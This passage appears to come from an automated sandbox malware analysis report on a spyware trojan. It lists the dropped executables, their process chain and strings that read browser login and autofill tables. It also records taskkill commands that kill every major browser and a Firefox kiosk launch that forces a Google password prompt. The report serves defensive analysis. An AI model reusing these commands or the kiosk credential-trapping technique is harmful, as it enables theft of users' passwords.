Source: file.exe, 00000000.00000003.2235374886.0000000006335000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2216071729.00000000063DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238520662.00000000065A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2221520964.00000000064CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2238388222.000000000646C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2216846255.0000000006335000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223430763.000000000633F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239207846.0000000006473000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220764860.00000000063F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2232335182.000000000642C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2226731135.0000000006417000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239691964.0000000006488000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2235115205.0000000006443000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2219765550.00000000063F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234726293.000000000633C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2239334670.00000000065BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2220925888.0000000006339000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2234206579.000000000653F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223772610.000000000633A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981632053291536
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983555432561307
Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: Section: xywzvhpg ZLIB complexity 0.9945391862115327
Source: skotes.exe.4.dr	Static PE information: Section: ZLIB complexity 0.9983555432561307
Source: skotes.exe.4.dr	Static PE information: Section: xywzvhpg ZLIB complexity 0.9945391862115327
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9981632053291536
Source: 21024c5511.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9981632053291536
Source: random[1].exe0.8.dr	Static PE information: Section: xugdxrgk ZLIB complexity 0.9951466213443748
Source: 996773cd54.exe.8.dr	Static PE information: Section: xugdxrgk ZLIB complexity 0.9951466213443748
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9983555432561307
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: Section: xywzvhpg ZLIB complexity 0.9945391862115327
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: Section: ZLIB complexity 0.9983555432561307
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: Section: xywzvhpg ZLIB complexity 0.9945391862115327

Source: R4UI5PZ4W045Z6XA.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.4.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: WFFF3RQI4OTCXKCYJD8SM6QSC.exe.9.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe.14.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@83/33@107/14

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe

Code function: 3_2_06DB15D0 ChangeServiceConfigA,

3_2_06DB15D0

Source: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CT1ROX8L8OCI432H.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2824:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4460:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1492:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5316:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6472:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6384:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5652:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2092982690.0000000005F42000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078174144.0000000005EB7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2092893035.0000000005E9A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2753990962.0000000005B54000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2770091112.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754763891.0000000005B38000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873473374.00000000059D6000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2887894842.0000000005A5C000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: 996773cd54.exe, 0000000A.00000002.2813065067.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name, value FROM autofills;

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 52%

Source: CT1ROX8L8OCI432H.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: R4UI5PZ4W045Z6XA.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: DRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeP

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe "C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe "C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe"
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe "C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe "C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe "C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe"
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe "C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe"
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003096001\num.exe "C:\Users\user\AppData\Local\Temp\1003096001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2108 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {35e7d4a5-9554-4d22-b10d-2ccb5f3f4d3d} 5428 "\\.\pipe\gecko-crash-server-pipe.5428" 25e7106d910 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe "C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3168 -parentBuildID 20230927232528 -prefsHandle 4244 -prefMapHandle 3936 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {70a663a9-61df-4815-9b94-9c34ad594b81} 5428 "\\.\pipe\gecko-crash-server-pipe.5428" 25e835c8e10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe "C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe"
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process created: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe "C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe"
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process created: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe "C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003096001\num.exe "C:\Users\user\AppData\Local\Temp\1003096001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process created: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe "C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe"
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process created: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe "C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe"
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2120 -parentBuildID 20230927232528 -prefsHandle 2024 -prefMapHandle 2016 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d420dc28-e6f0-4495-8bd5-85d99979d19a} 1656 "\\.\pipe\gecko-crash-server-pipe.1656" 17424e70310 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe "C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe "C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R4UI5PZ4W045Z6XA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe "C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe "C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe "C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003096001\num.exe "C:\Users\user\AppData\Local\Temp\1003096001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process created: C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe "C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process created: C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe "C:\Users\user\AppData\Local\Temp\WFFF3RQI4OTCXKCYJD8SM6QSC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process created: C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe "C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe"
Source: C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe	Process created: C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe "C:\Users\user\AppData\Local\Temp\Z8CGSNLTKTUPC3EY1G7AG03OLDYT.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2108 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {35e7d4a5-9554-4d22-b10d-2ccb5f3f4d3d} 5428 "\\.\pipe\gecko-crash-server-pipe.5428" 25e7106d910 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3168 -parentBuildID 20230927232528 -prefsHandle 4244 -prefMapHandle 3936 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {70a663a9-61df-4815-9b94-9c34ad594b81} 5428 "\\.\pipe\gecko-crash-server-pipe.5428" 25e835c8e10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2120 -parentBuildID 20230927232528 -prefsHandle 2024 -prefMapHandle 2016 -prefsLen 25350 -prefMapSize 238051 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d420dc28-e6f0-4495-8bd5-85d99979d19a} 1656 "\\.\pipe\gecko-crash-server-pipe.1656" 17424e70310 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
